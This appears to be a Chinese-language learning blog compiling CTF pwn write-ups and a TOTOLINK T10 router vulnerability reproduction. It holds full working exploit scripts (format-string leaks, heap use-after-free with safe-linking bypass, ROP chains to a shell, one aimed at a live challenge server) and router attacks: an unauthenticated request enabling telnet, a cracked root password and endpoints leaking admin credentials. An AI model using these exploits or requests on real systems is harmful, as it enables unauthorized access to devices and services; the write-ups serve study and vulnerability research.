get_library_name 中有格式化字符串
泄露程序加载地址 前面多加了这个函数,有格式化字符串漏洞,可以利用这个泄露栈上的地址
123456789101112unsigned int get_library_name(){ char format; // [esp+Ch] [ebp-2Ch] unsigned int v2; // [esp+2Ch] [ebp-Ch] v2 = __readgsdword(0x14u); puts("please input the library name:"); _isoc99_scanf("%32s", &format); printf(&format); puts(&byte_1198); return __readgsdword(0x14u) ^ v2;}
第19个位置是main+89
123io.sendline("%x.%x.aaa%19$d.%x.%x.%x")io.recvuntil("aaa")flag = int(io.recv(10)) - 0x208
-0x208 = - 0x100e + 0xe06
-0x100e是main+89距离文件起始处的位置, 0xe06是magic后门函数的偏移
exp 同样还是hacknote的堆处理方法,把函数地址替换成magic就可以了
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950from pwn import *context(arch='i386',os='linux',log_level='debug')mylibc = ELF('/root/pwn/glibc-all-in-one/libs/2.23-0ubuntu3_i386/libc.so.6')io = process("./easy_heap")context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(io)#def add_note(size,content): io.recvuntil("choice :") io.sendline("1") io.recvuntil("size :") io.sendline(str(size)) io.recvuntil("Content :") io.sendline(content)def del_note(index): io.recvuntil("choice :") io.sendline("2") io.recvuntil("Index :") io.sendline(str(index))def print_note(index): io.recvuntil("choice :") io.sendline("3") io.recvuntil("Index :") io.sendline(str(index))io.recvuntil("please input the library name:")io.sendline("%x.%x.aaa%19$d.%x.%x.%x")io.recvuntil("aaa")flag = int(io.recv(10)) -0x208#flag = u32(io.recv(5)[1:])#flag = int(io.recv(10)) -0x5188+0xe06#flag = u32(io.recv(4))print(flag)print(hex(flag))add_note(64,"12")add_note(32,"12")del_note(0)add_note(64,"45")print_note(2)# del_note(4)del_note(0)del_note(1)add_note(8,p32(flag))#pause()print_note(0)#io.recv()io.interactive()
但是为什么我的system(“/bin/sh”)没成功呢? 先确认下libc版本吧… ubuntu16.04, 首先是libc版本问题,然后本地没成功的话,应该是因为栈平衡?
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354from pwn import *context(arch='i386',os='linux',log_level='debug')myelf = ELF('./easy_heap')#mylibc = ELF('./libc-2.23.so')mylibc = ELF('./libc_32.so.6')io = remote('chall.pwnable.tw',10102)#io=process("./easy_heap")context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(io)def add_note(size,content): io.recvuntil("choice :") io.sendline("1") io.recvuntil("size :") io.sendline(str(size)) io.recvuntil("Content :") io.sendline(content)def del_note(index): io.recvuntil("choice :") io.sendline("2") io.recvuntil("Index :") io.sendline(str(index))def print_note(index): io.recvuntil("choice :") io.sendline("3") io.recvuntil("Index :") io.sendline(str(index))#io.recvuntil("please input the library name:")#io.sendline("test")add_note(64,"12")add_note(32,"12")del_note(0)add_note(64,"45")print_note(2)#libc_addr = u32(io.recv(8)[4:8]) - 0x1b27b0libc_addr = u32(io.recv(8)[4:8]) - 0x1b07b0print(hex(libc_addr))#pause()sys_addr = libc_addr + mylibc.symbols['system']# add_note(8,"12")# add_note(8,"34")# del_note(3)# del_note(4)del_note(0)del_note(1)add_note(8,p32(sys_addr)+b";sh\x00")print_note(0)io.interactive()
3.fakegpt题目分析 存在格式化字符串漏洞,对输入的字符串做了反向处理和过滤(不过没用到),直接泄露canary和libc地址,找出onegadget,栈溢出覆盖即可
exp12345678910111213141516171819202122232425262728293031323334from pwn import *context(os='linux',log_level='debug')mylibc = ELF('/root/pwn/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc.so.6')io = process("./fakegpt")context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(io)# 验证码catpcha_line = io.recvline_contains(b'Input the captcha')captcha = catpcha_line.split(b' ')[-1]io.sendline(captcha)# 读取libc地址io.sendafter(b'Prompt: ', f'%{(0xd8>>3)+6}$p'.encode()[::-1]) # __isoc99_scanf+178io.recvuntil(b'FakeGPT: 0x')addr = int(io.recv(12), 16)print(hex(addr))libcbase = addr - 0x621c2onegadget = libcbase + 0x50a37print(hex(onegadget))# 读取canaryio.sendafter(b'Prompt: ', f'%{(0x1a8>>3)+6}$p'.encode()[::-1]) # __isoc99_scanf+178io.recvuntil(b'FakeGPT: 0x')canary = int(io.recv(16), 16)print(hex(canary))pause()input3 = b"b"*0x197 + p64(canary)+p64(0)+p64(onegadget)io.sendline(input3[::-1])io.interactive()
pwn入门-26-2.36版本uaf利用
123456[*] '/home/ubuntu/511/pwn/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
heap: This command only works with libc debug symbols.
https://blog.csdn.net/m0_51251108/article/details/127098744
符号表 not striped
name那里可以输出栈上的数据
解题思路堆地址泄露(利用UAF)123456789101112delete(8)show(8)p.recvuntil("Name: ")sec=u64(p.recv(8))delete(9)show(9)p.recvuntil("Name: ")heap_sec=u64(p.recv(8))heap_addr=heap_sec^secprint(hex(heap_addr))stack_addr=u64(p.recv(8))print(hex(stack_addr))
sec和heap_sec异或得到堆地址,那么它们是什么呢?
123456780x560399e28450 0x0000000000000000 0x0000000000000041 ........A.......<-- fastbins[0x40][1]0x560399e28460 0x0000000560399e28 0x00007ffef806f270 (.9`....p.......0x560399e28470 0x0000000000000000 0x00007ffef806f3b8 ................0x560399e28480 0x0000000064646464 0x0000000000000000 dddd............0x560399e28490 0x0000000000000000 0x0000000000000041 ........A.......<-- fastbins[0x40][0]0x560399e284a0 0x00005606f9db1a78 0x00007ffef806f270 x....V..p.......0x560399e284b0 0x0000000000000000 0x00007ffef806f3b8 ................0x560399e284c0 0x0000000064646464 0x0000000000000000
0x0000000560399e28 ^ 0x00005606f9db1a78 = 0x560399e28450
fastbin 堆指针异或加密(glibc-2.32 引入)
http://www.suphp.cn/anquanke/86/236186.html
需要泄露两次,两个相邻的fastbin,泄露它们fd位置的值,然后异或就得到了前面那个fastbin的地址了
https://bbs.kanxue.com/thread-272098.htm#msg_header_h2_2
泄露栈地址 为什么bk这里存储着栈地址呢?
是在add的时候,放入的地址???
奇怪..一步一步调试的话,栈上数据就没有..不然就有…
构造double free链,任意地址写1234567891011121314151617delete(8).........delte(9)........delete(8)## 构成环了victim=stack_addr-0x20 ## print(hex(victim))for i in range(7): ## 先使用tcachebin add(i+1,b'aaa',0x8,b'dddd')pay1=p64(sec^victim)add(12,pay1,0x8,'\x00') ## 三个fastbinadd(13,pay1,0x8,'\x00')add(14,pay1,0x8,'\x00')add(15,b'ccc',0x8,b'\x00')show(15)
victim就是要写入的地址,因为有异或机制,所以要和sec异或一下,再写入
为什么添加完三个fastbin,又会多了tcachebin… 斯….和tcachebin的机制有关…在分配第一个fastbin的时候,就给他们放到tcachebin中了…
栈地址怎么来的?1234567add(15,b'ccc',0x8,b'\x00')show(15)p.recvuntil("Name: ")p.recv(8)pie_base_addr=u64(p.recv(6).ljust(8,b'\x00'))-0x1794print('pie: '+hex(pie_base_addr))print(hex(stack_addr))
-0x1794要根据具体版本变化,vmmap看到基址, 两个一减就得到了
这个地址是怎么来的呢?
找不到是谁打印出的pie: 0x55b9c409d794…
find 0x7ffc27616000 to 0x7ffc27805000,0x55b9c409d794
下断点到show函数,一步步查看
是在这里打印出来的,可是为什么这里会存储着这个地址呢??
在add中malloc分配空间的时候会分配到这附近..
glibc地址获取12345678for i in range(7): add(i+30,b'/bin/sh\x00',0x3f8,b'dddd')delete(31)show(31)p.recvuntil('Name: ')p.recv(8)lib_addr=u64(p.recv(6).ljust(8,b'\x00'))-96-0x1f6c60print('libc: '+hex(lib_addr))
分配的0x3f8再加上33 还是啥,大小肯定超了tcache的了,就直接进入unsortedbin,然后可以从这里泄露glibc的地址
-96 再减去和glibc开头的差值,就可以得到glibc加载基址
构造rop链子 这里直接覆盖的返回地址,exit退出,就会进入rop链
12345678910111213libc = ELF("./libc.so.6")system=lib_addr+libc.sym["system"] #0x4c330bin_sh=lib_addr+0x1b61b4print(hex(system))print(hex(bin_sh))ret=0x00000000000233d1+lib_addrpop_rdi=0x00023b65+lib_addrrop_chain=p64(ret)*0x10+p64(pop_rdi)+p64(bin_sh)+p64(system)## editedit(15,rop_chain)p.sendlineafter("> ", '5')
exp123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105from pwn import *elf = "./pwn"context.log_level= "debug"p = process(elf)context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(p)def add(index, name, size,content): p.sendlineafter('> ', '1') p.sendlineafter('Index: ', str(index)) p.sendafter('Name: ', name) p.sendlineafter('Description size: ', str(size)) p.sendafter('Description: ',content)def edit(index, content): p.sendlineafter('> ', '4') p.sendlineafter('Index: ', str(index)) p.sendlineafter('Description: ', content)def show(index): p.sendlineafter('> ', '3') p.sendlineafter('Index: ', str(index))def delete(index): p.sendlineafter('> ', '2') p.sendlineafter('Index: ', str(index)) ## 观察怎么泄露的地址add(0,b'test',0x28,b'ddd')show(0)recv = p.recv(0xe)fake_stack_addr = u64(p.recv(8))print(hex(fake_stack_addr))fake_lib_addr = u64(p.recv(8))print(hex(fake_lib_addr))for i in range(7): add(i+1,b'aaa',0x8,b'a')add(8,b'aaa',0x8,b'dddd')add(9,b'aaa',0x8,b'dddd')add(10,b'aaa',0x8,b'dddd')add(11,b'ddd',0x28,b'a')for i in range(7): delete(i+1)delete(8)show(8)p.recvuntil("Name: ")sec=u64(p.recv(8))delete(9)show(9)p.recvuntil("Name: ")heap_sec=u64(p.recv(8))heap_addr=heap_sec^secprint(hex(heap_addr))stack_addr=u64(p.recv(8))print(hex(stack_addr))delete(8)victim=stack_addr-0x20print(hex(victim))for i in range(7): add(i+1,b'aaa',0x8,b'dddd')pay1=p64(sec^victim)add(12,pay1,0x8,'\x00')add(13,pay1,0x8,'\x00')add(14,pay1,0x8,'\x00')add(15,b'ccc',0x8,b'\x00')show(15)p.recvuntil("Name: ")p.recv(8)pie_base_addr=u64(p.recv(6).ljust(8,b'\x00'))-0x1794print('pie: '+hex(pie_base_addr))print(hex(stack_addr))for i in range(7): add(i+30,b'/bin/sh\x00',0x3f8,b'dddd')delete(31)show(31)p.recvuntil('Name: ')p.recv(8)lib_addr=u64(p.recv(6).ljust(8,b'\x00'))-96-0x1f6c60print('libc: '+hex(lib_addr))#print(p.bases)libc = ELF("./libc.so.6")system=lib_addr+libc.sym["system"] #0x4c330bin_sh=lib_addr+0x1b61b4print(hex(system))print(hex(bin_sh))ret=0x00000000000233d1+lib_addrpop_rdi=0x00023b65+lib_addrrop_chain=p64(ret)*0x10+p64(pop_rdi)+p64(bin_sh)+p64(system)## editedit(15,rop_chain)p.sendlineafter("> ", '5')p.interactive()
totolinkT10路由器老版本漏洞复现和分析
文章同步于:https://mp.weixin.qq.com/s/6kC02ABzeBnhjPeAs6lyrQ
[toc]
一、环境搭建1.1 获取和解压固件http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=15&ids=36
binwalk -Me TOTOLINK_CS185R_T10_IP04336_8197F_SPI_16M64M_V5.9c.1485_B20180122_ALL.web
查看busybox获得架构信息,
12root@vultr:/tmp/squashfs-root/bin# file busyboxbusybox: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, no section header
下载qemu
1234apt install qemu-user qemu-user-static qemu-system 网桥工具apt install bridge-utils uml-utilities
链接失效了,问同学要了一个
1wget https://people.debian.org/~aurel32/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2 && wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta
scp -r root@xxxx:/root/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2 ./
scp -r root@xxxx:/root/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta ./
网络配置
12345brctl addbr virbr2 # 创建网桥ifconfig virbr2 192.168.6.1/24 up # 配置网桥IPtunctl -t tap2 # 添加虚拟网卡tap2ifconfig tap2 192.168.6.11/24 up # 配置虚拟网卡IPbrctl addif virbr2 tap2 # 配置虚拟网卡与网桥连接
启动虚拟机
1qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -netdev tap,id=tapnet,ifname=tap2,script=no -device rtl8139,netdev=tapnet -nographic
登陆虚拟机、配置网络
root/root
ifconfig eth0 192.168.6.15 up # 配置路由器IPscp -r squashfs-root/ root@192.168.6.15:/root/ # 拷贝路由器文件到虚拟机
注意这里有个坑
就是上一个开启的qemu里面的squashfs-root不是要搭建的那个路由器的…很奇怪…不知道哪里来的…
所以其实要先从物理机上考过去一份到qemu的debian系统里,然后再拷到路由系统里
物理机/云服务器执行: scp -r /tmp/squashfs-root 192.168.6.15:/root/ 拷贝到qemu虚拟出的debian里面
qemu里执行 scp -r squashfs-root/ root@192.168.6.15:/root/ 拷贝到
chroot ./squashfs-root/ /bin/sh # 挂载路由器系统./bin/lighttpd -f ./lighttp/lighttpd.conf -m ./lighttp/lib # 启动路由器服务
报错(server.c.624) opening pid-file failed: /var/run/lighttpd.pid No such file or directory
创建一下即可
1.2 流量转发怎么把流量转发出来呢?
把qemu的流量转发到主机的端口
ssh root@192.168.6.15 -L 127.0.0.1:80:127.0.0.1:80
把主机的流量转发到PC端口,就可以在自己电脑上访问了
ssh root@xxxxxx (vps的ip) -L 127.0.0.1:80:127.0.0.1:80
或者安装一个图形化界面(用服务器搭建的)
ssh root@192.168.6.15 -L 127.0.0.1:80:127.0.0.1:80
或者直接一个转发就行了吧?(vps关了,还没尝试)
ssh root@xxxxxx (vps的ip) -L 127.0.0.1:80:192.168.6.15:80
1.3 虚拟环境的各种问题登陆报错
123456789101112131415161718192023-05-07 18:44:46: (mod_cgi.c.1415) cleaning up CGI: process died with signal 11 HTTP/1.1 200 OKContent-Length: 0Date: Sun, 07 May 2023 18:44:58 GMTServer: lighttpd/1.4.202023-05-07 18:44:58: (mod_cgi.c.1415) cleaning up CGI: process died with signal 11 2023-05-07 18:48:03: (mod_cgi.c.588) cgi died, pid: 2588 2023-05-07 18:48:06: (mod_cgi.c.1415) cleaning up CGI: process died with signal 11 2023-05-07 18:48:09: (mod_cgi.c.1415) cleaning up CGI: process died with signal 11 HTTP/1.1 200 OKContent-Length: 0Date: Sun, 07 May 2023 18:48:19 GMTServer: lighttpd/1.4.202023-05-07 18:48:19: (mod_cgi.c.1415) cleaning up CGI: process died with signal 11
访问home.asp直接下载文件了….
换个版本?
https://toscode.gitee.com/baozhazhizi/IoT-vulhub/tree/master/Totolink/CVE-2022-41518
TOTOLINK NR1800X
http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=70&ids=36
好奇怪..用user模式是这个,system模式就不是了…
把东西拷其进去后 404了
但是在服务器里面测试是好的
搭建图形化界面https://zhuanlan.zhihu.com/p/436458664
vnc一开始连不上是防火墙的事,把防火墙关了,可以在图形化界面里直接访问
1.4 真机 因为自己的机器是mac,m1架构,搭建不了x86的虚拟机,就用的云服务器,比较麻烦,然后环境也有问题,于是买了一个真机,但是真机也有问题,导致自己很崩溃,通宵了一晚上去调试环境,但不论怎么搭建虚拟环境或者用真机,在登录页面点击登陆后,都登陆不进去
后来无意中在百度贴吧搜索发现有人和我一样的问题……………居然是要用远古的ie或者360浏览器的兼容模式才能打开…
二、 获取初始shell2.1 telnet 在路由器管理后台开启telnet功能,或者直接python发包获取(未授权)
123import requestsresponse = requests.post("http://192.168.55.1/cgi-bin/cstecgi.cgi",data='{"topicurl":"setting/setTelnetCfg","telnet_enabled":"1"}')
2.2 password获取123(base) ➜ squashfs-root cat etc/shadow.sampleroot:$1$BJXeRIOB$w1dFteNXpGDcSSWBMGsl2/:16090:0:99999:7:::nobody:*:14495:0:99999:7:::
解密结果是cs2012
三、框架分析3.1 目录梳理123456789--bin 二进制文件--lib --cste_modules .so库文件--web_cste 浏览器web后台主目录 --adm 管理员后台 --cgi-bin 功能处理 --firewall 防火墙功能 login.asp 登陆页面 telnet.asp telnet控制页面
进去之后 进行信息收集, 先传一个busybox-mipsel
12python -m http.server 80 起一个服务,传一下wget http://xxxxxxxx/busybox-mipsel
收集进程信息
123456789101112131415161028 root 0:00 udhcpd /var/udhcpd.conf1269 root 0:00 ppp_inet -t 3 -c 0 -x1279 root 0:00 dnsmasq1285 root 0:00 lld2d br01301 root 0:00 fwd1329 root 0:00 cs_broker -c /etc/mosquitto.conf1335 root 0:00 cste_sub -h 127.0.0.1 -t totolink/router/#1352 root 0:00 telnetd1360 root 0:00 csteDriverConnMachine1365 root 0:00 crond1366 root 0:00 [kworker/0:1H]1376 root 0:00 lighttpd -f /lighttp/lighttpd.conf -m /lighttp/lib/1398 root 0:00 /bin/getty -L ttyS0 38400 vt1001400 root 0:00 watchdog -c /var/cs_watchdog.conf1924 root 0:00 -sh2178 root 0:00 ./busybox-mipsel ps auxf
网络信息
12345678910111213141516171819202122# ./busybox-mipsel netstat -alpActive Internet connections (servers and established)Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program nametcp 0 0 0.0.0.0:http 0.0.0.0:* LISTEN 1376/lighttpdtcp 0 0 0.0.0.0:domain 0.0.0.0:* LISTEN 1279/dnsmasqtcp 0 0 0.0.0.0:telnet 0.0.0.0:* LISTEN 1352/telnetdtcp 0 0 0.0.0.0:1883 0.0.0.0:* LISTEN 1329/cs_brokertcp 0 0 127.0.0.1:1883 127.0.0.1:56383 ESTABLISHED 1329/cs_brokertcp 0 0 127.0.0.1:56383 127.0.0.1:1883 ESTABLISHED 1335/cste_subtcp 0 157 router.totolink.com:telnet 192.168.55.3:62063 ESTABLISHED 1352/telnetdnetstat: /proc/net/tcp6: No such file or directoryudp 0 0 0.0.0.0:domain 0.0.0.0:* 1279/dnsmasqudp 0 0 0.0.0.0:bootps 0.0.0.0:* 1028/udhcpdnetstat: /proc/net/udp6: No such file or directorynetstat: /proc/net/raw6: No such file or directoryActive UNIX domain sockets (servers and established)Proto RefCnt Flags Type State I-Node PID/Program name Pathunix 3 [ ] STREAM CONNECTED 1590 1335/cste_subunix 3 [ ] STREAM CONNECTED 1282 1028/udhcpdunix 3 [ ] STREAM CONNECTED 1591 1335/cste_subunix 3 [ ] STREAM CONNECTED 1283 1028/udhcpdunix 2 [ ] DGRAM 1488 1279/dnsmasq
四、逻辑功能、业务流程梳理4.1 登陆
formLoginAuth.htm 这个东西其实在lighttpd里面, 它只是一个变量名,不代表文件,判断这个文件名,会调用Form_Login函数
4.1.1 密码泄露这个请求包存在一个问题,即不论用户名密码是否正确,都调用它,然后返回前端,于是就有了一个用户名密码泄露漏洞
123456789101112131415161718192021222324252627282930313233343536373839404142434445POST /cgi-bin/cstecgi.cgi HTTP/1.1Content-Type: application/x-www-form-urlencoded; charset=UTF-8Accept: */*X-Requested-With: XMLHttpRequestReferer: http://192.168.0.1/title.aspAccept-Language: zh-Hans-CN,zh-Hans;q=0.5Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoContent-Length: 37Host: 192.168.0.1Pragma: no-cacheCookie: SESSION_ID=2:1516657290:2Connection: close{"topicurl":"setting/getLanguageCfg"}HTTP/1.1 200 OKConnection: closeContent-Type: text/plainContent-Length: 340Pragma: no-cacheCache-Control: no-cacheDate: Mon, 22 Jan 2018 21:36:50 GMTServer: lighttpd/1.4.20{ "operationMode": 0, "loginFlag": 1, "multiLangBt": 1, "helpBt": 1, "fmVersion": "V5.9c.1485", "title": "TOTOLINK", "langFlag": 0, "languageType": "cn", "helpUrl": "www.totolink.cn", "usbFlag": 0, "productName": "T10", "lanIp": "192.168.0.1", "wanConnStatus": "disconnected", "loginUser": "admin", "loginPass": "123456888"}
4.2 admin后台4.2.1 password.asp 通过setting/getPasswordCfg接口可以直接获取密码,而且未做鉴权
12345678910111213141516var rJson;$(function(){ var postVar={topicurl:"setting/getPasswordCfg"}; postVar=JSON.stringify(postVar); $.ajax({ type : "post", url : " /cgi-bin/cstecgi.cgi", data : postVar, async : false, success : function(Data){ rJson=JSON.parse(Data); supplyValue("admuser",rJson['admuser']); } }); $("#div_admpass11,#div_admpass21").show();//p $("#div_admpass12,#div_admpass22").hide();//t try{ parent.frames["title"].initValue(); }catch(e){}});
4.2.2 所以asp里的功能 是怎么对应到后面的? 答: 通过mqtt协议转发,前端的功能,通过类似于setting/getPasswordCfg的消息,发送给代理程序,然后代理程序交给后端服务处理程序来处理,然后再相反路径返回结果
4.2.3 客户端如何转发的请求?为什么/cgi-bin/cstecgi.cgi里面对应的功能不全呢? 比如setting/getPasswordCfg 它其实是在 system.so里
答:cstecgi.cgi里并没有包含所有功能,它主要是包含了请求重定向,登陆等功能,其余的功能,会通过转发请求和加载库的机制实现
在这里匹配不到的最后都会通过else里的这两个函数进行转发请求,给后面的处理程序进行处理. 可以看到,这里转发给了mqtt的代理程序,因为连接到了1883端口.
web_getData的参数可以往前追溯分析,
12v23 = *(_DWORD *)(cJSON_GetObjectItem(v13, "topicurl") + 16);
v23: topicurl的值, 例如setting/getPasswordCfg
v30: 其他的参数值
那么这两个函数又是在哪里呢? 搜索发现是在libmosquitto.so库里,它是一个开源的组件,就是由它来负责具体的mqtt消息的处理
123(base) ➜ squashfs-root grep -rin set_CSTEInfoBinary file ./lib/libmosquitto.so matchesBinary file ./web_cste/cgi-bin/cstecgi.cgi matches
v16[0] 0
v16[1] 1883
v16[2] 127.0.0.1
v16[3]
v16[4] totolink/router/setting/setxxxxCfg
v16这个数组即发送的请求,传到client_config_load,然后传到 v10 = sub_F8DC(a1, a2, a3, a4);
可以看到,它会给消息分配一块堆空间,然后存储到这里
123456789101112if ( mosquitto_sub_topic_check(*(_DWORD *)(a4 + 4 * (i + 1))) == 3 ) { fprintf( stderr, "Error: Invalid subscription topic '%s', are all '+' and '#' wildcards correct?\n", *(const char **)(a4 + 4 * (i + 1))); return 1; } ++*(_DWORD *)(a1 + 96); *(_DWORD *)(a1 + 92) = realloc(*(void **)(a1 + 92), 4 * *(_DWORD *)(a1 + 96)); v5 = (char **)(*(_DWORD *)(a1 + 92) + 4 * (*(_DWORD *)(a1 + 96) - 1)); *v5 = strdup(*(const char **)(a4 + 4 * (i + 1)));
4.2.4 如何加载库的呢? 进行逆向推理,首先要找是谁加载了system.so
1234(base) ➜ squashfs-root grep -irn "system.so"Binary file ./bin/yddns matchesBinary file ./bin/pppoe-discovery matchesBinary file ./bin/csteDriverConnMachine matches
查看了一下这几个文件,发现都没有什么线索,根据网上的资料调查会发现,其实是通过dlopen这个方式加载库,所以.so和system可能进行了拼接,直接搜system就太多了,所以可以搜索路径lib/cste_modules
123(base) ➜ squashfs-root grep -irn "lib/cste_modules"Binary file ./bin/cste_sub matches
所以是cste_sub加载了system,在cute_sub的 load_modules()函数中,找到如下加载库的代码,可以看到,进行了路径拼接,以及用opendir和readdir读取目录中的文件.
123tcp 0 0 0.0.0.0:1883 0.0.0.0:* LISTEN 1329/cs_brokertcp 0 0 127.0.0.1:1883 127.0.0.1:56383 ESTABLISHED 1329/cs_brokertcp 0 0 127.0.0.1:56383 127.0.0.1:1883 ESTABLISHED 1335/cste_sub
根据前面查到的端口可以进一步分析,首先1883是mqtt端口,cs_broker用了这个端口,所以它就是代理,那么需要找客户端和服务端,客户端很明显,就是/cgi-bin/cstecgi.cgi,那么服务端呢,也很明显了,就是cste_sub,它与代理始终建立了双向链接
4.2.5 cgi-bin/cstecgi.cgi又是如何把消息传送给cs_broker的呢? 在这里与1883代理进行消息转发
123(base) ➜ squashfs-root grep -irn "set_CSTEinfo"Binary file ./lib/libmosquitto.so matchesBinary file ./web_cste/cgi-bin/cstecgi.cgi matches
可以发现这两个函数来自于libmosquitto.so这个库,所以说totolink的mqtt是基于这个库来运行的
4.2.6 mqtt代理如何和服务端和客户端通信的呢? 也就是说那么 cs_broker是怎么接收cgi-bin/cstecgi.cgi的消息的呢? 又是怎么转发消息到cste_sub的呢?
4.2.6.1 mqtt代理与客户端通信 要有一个listen等待接收消息,cs_broker主函数中的mqtt3_socket_listen函数.获取传来的地址,解析数据,建立socket
4.2.6.2 与服务端通信 肯定要有一个connect进行连接
4.2.7 完整的流程 分析完登陆和后台的这个功能大概梳理清楚了程序的运行逻辑,它不是直接调用后端的接口,而是通过mqtt通信到后端来处理请求然后返回,所以不论前端的什么请求,都会转化成mqtt的请求包,所以对80端口的请求,也可以通过构造mqtt数据包来执行
此外还分析了一下系统的启动流程等,最后总结成流程图
五、mqtt分析5.1 抓包分析:(以telnet为例)5.1.1 安装libpcap/tcpdump
官网下载tcpdump和libpcap
12git clone https://github.com/the-tcpdump-group/tcpdumpgit clone https://github.com/the-tcpdump-group/libpcap
Git clone的版本比较新,有所不同,可以用这个
https://www.tcpdump.org/old_releases.html
5.1.1.1 libpcap先安装两个依赖
先安装flex
123456#libpcap 1.1要求flex必须在2.4.6及以上wget http://prdownloads.sourceforge.net/flex/flex-2.5.36.tar.gztar -xzvf flex-2.5.36.tar.gzcd flex-2.5.36./configure --prefix=/usrmake -j && make install
安装bison
12345wget http://ftp.gnu.org/gnu/bison/bison-2.4.tar.gztar -xzvf bison-2.4.tar.gzcd bison-2.4/./configure --prefix=/usrmake -j && make install
安装libpcap
12345wget http://www.tcpdump.org/release/libpcap-1.1.1.tar.gztar -xzvf libpcap-1.1.1.tar.gzcd libpcap-1.1.1./configure --prefix=/usrmake -j && make install
–prefix=/usr指定软件安装路径
报错处理
12345678910111213root@vultr:~/net/libpcap-1.1.1# make -jgcc -O2 -fpic -I. -DHAVE_CONFIG_H -D_U_="__attribute__((unused))" -c scanner.cgcc -O2 -fpic -I. -DHAVE_CONFIG_H -D_U_="__attribute__((unused))" -c ./pcap-linux.cgcc -O2 -fpic -I. -DHAVE_CONFIG_H -D_U_="__attribute__((unused))" -Dyylval=pcap_lval -c grammar.c./pcap-linux.c: In function ‘pcap_read_packet’:./pcap-linux.c:1555:24: error: ‘SIOCGSTAMP’ undeclared (first use in this function); did you mean ‘SIOCGIWAP’? 1555 | if (ioctl(handle->fd, SIOCGSTAMP, &pcap_header.ts) == -1) { | ^~~~~~~~~~ | SIOCGIWAP./pcap-linux.c:1555:24: note: each undeclared identifier is reported only once for each function it appears inmake: *** [Makefile:81: pcap-linux.o] Error 1make: *** Waiting for unfinished jobs....
https://blog.csdn.net/liangjian990709/article/details/111494494
https://github.com/LibtraceTeam/libtrace/issues/117
报错是说找不到这个宏的定义,找到出问题的文件pcap-linux.c,加上头文件即可 #include <linux/sockios.h>
验证是否成功
123456789101112131415161718192021222324#include <stdio.h>#include <pcap.h>int main(int argc, char *argv[]) {char errbuf[PCAP_ERRBUF_SIZE];pcap_if_t* devs;pcap_if_t* d;unsigned int i = 0;//获取全部的devif (-1 == pcap_findalldevs(&devs, errbuf)) {fprintf(stderr, "Could not list device: %s\n", errbuf);} else {d = devs;while (d->next != NULL) {printf("%d:%s\n", i++, d->name);d = d->next;}}//释放所有获取的devpcap_freealldevs(devs);return (0);}
gcc test.c -lpcap -L/usr/lib/libpcap.so
-lpcap然后指定安装路径
12345678root@vultr:~/net# ./a.out0:docker01:tun02:enp1s03:virbr24:tap25:br-bb76d9e6caa66:any
https://www.coder4.com/archives/1001
5.1.1.2 tcpdump12345wget https://www.tcpdump.org/release/tcpdump-4.1.1.tar.gztar zxvf tcpdump-4.1.1.tar.gzcd tcpdump-4.1.1./configure --prefix=/usrmake -j && make install
安装完直接命令输入 tcpdump进行测试
5.1.1.3 交叉编译mipsel版tcpdump安装mipsel gcc
1apt install gcc-mipsel-linux-gnu
编译libpcap (重新解压一份源码)
1234./configure --prefix=/home/test/mipsel_libpcap #该目录根据情况更改/configure --host=mipsel-linux --with-pcap=linux --prefix=/home/test/mipsel_libpcapmake CC=mipsel-linux-gnu-gccmake install CC=mipsel-linux-gnu-gcc #编译的libpcap安装到了/home/test/mipsel_libpcap目录下
编译tcpdump
123456789动态链接./configure make CC=mipsel-linux-gnu-gcc CFLAGS='-I/home/test/mipsel_libpcap/include' LDFLAGS='-L/home/test/mipsel_libpcap/lib/libpcap.a' 静态链接 ./configuremake CC=mipsel-linux-gnu-gcc CFLAGS='-I/home/test/mipsel_libpcap/include -static' LDFLAGS='-L/home/test/mipsel_libpcap/lib/libpcap.a -static'
编译的时候报错,应该是版本太老了….然后….
很多个版本一直报错
1234567checking for pcap_loop... noconfigure: error: This is a bug, please follow the guidelines in CONTRIBUTING and include theconfig.log file in your report. If you have downloaded libpcap fromtcpdump.org, and built it yourself, please also include the config.logfile from the libpcap source directory, the Makefile from the libpcap urce directory, and the output of the make process for libpcap, as
2010就好了
不过最后还是有点问题,没有编译成功,暂时先放一下,在github上能搜到编译好的,先用着
https://github.com/badmonkey7/tcpdump-static
5.1.2 流量包分析tcp开启监听,然后mqtt发送订阅(其实不行,这个包不完全,应该走80端口的服务才行)
123import requestsresponse = requests.post("http://192.168.55.1/cgi-bin/cstecgi.cgi",data='{"topicurl":"setting/setTelnetCfg","telnet_enabled":"1"}')
./tcpdump-mipsel -i any -w ./test1.pcap
1./tcpdump-mipsel -i lo -w ./test.pcap
获取流量后,利用base64编码把数据包拿到
123cat /tmp/test.pcap | /tmp/busybox-mipsel base64 # 编码过程# 将base64编码的内容保存到本地文件pcap64cat pcap64 | base64 -d > test.pcap # 解码过程
不知道为什么一发送订阅,连接就挂了..所以开一个nohup来放到后台运行,断了后重新登录,kill掉进程就得到数据包了,并且如果想抓80的话,要多抓几个网卡,具体是哪个还没测试(-i any抓全部)
